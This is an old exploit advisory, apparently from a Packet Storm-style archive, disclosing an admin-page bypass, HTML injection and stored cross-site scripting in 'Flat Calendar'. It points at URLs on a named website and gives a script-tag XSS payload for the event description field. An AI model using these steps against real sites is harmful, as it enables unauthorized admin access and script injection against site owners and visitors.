Flat Calendar Bypass / Cross Site Scripting

`[~] Flat Calendar By-Pass / Html inj / XSS Multiple Vulns.  
[~]  
[~]----------------------------------------------------------  
[~] Discovered By: ZoRLu msn: [email protected]  
[~]  
[~] Date: 23.04.09  
[~]  
[~] Home: yildirimordulari.com / z0rlu.blogspot.com   
[~]  
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (  
[~]  
[~] N0T: Alem Hep Hacker Olmus :P  
[~] -----------------------------------------------------------  
  
By-Pass  
  
http://www.ossi-im-inter.net/calendar/admin/add.php  
  
  
Html inj:  
  
you go here:  
  
http://www.ossi-im-inter.net/calendar/admin/add.php  
  
write title after write your html code to description  
  
example:  
  
http://www.ossi-im-inter.net/calendar/viewEvent.php?eventNumber=561  
  
  
Xss  
  
you go here:  
  
http://www.ossi-im-inter.net/calendar/admin/add.php  
  
write title anything ( example salla :D )  
  
write to description this code:  
  
"><script>alert("ZoRLu")</script>  
  
after go your calender  
  
[~]----------------------------------------------------------------------  
[~] Greetz tO: packetstormsecurity.org & Scriptorium & Aycanbey & PhantomOrchid & Nicx & Dr.Ly0n & Cyber-Zone & AlpHaNiX & Stack  
[~]  
[~] woltaj.org / www.experl.com / dafgamers.com  
[~]  
[~]----------------------------------------------------------------------  
`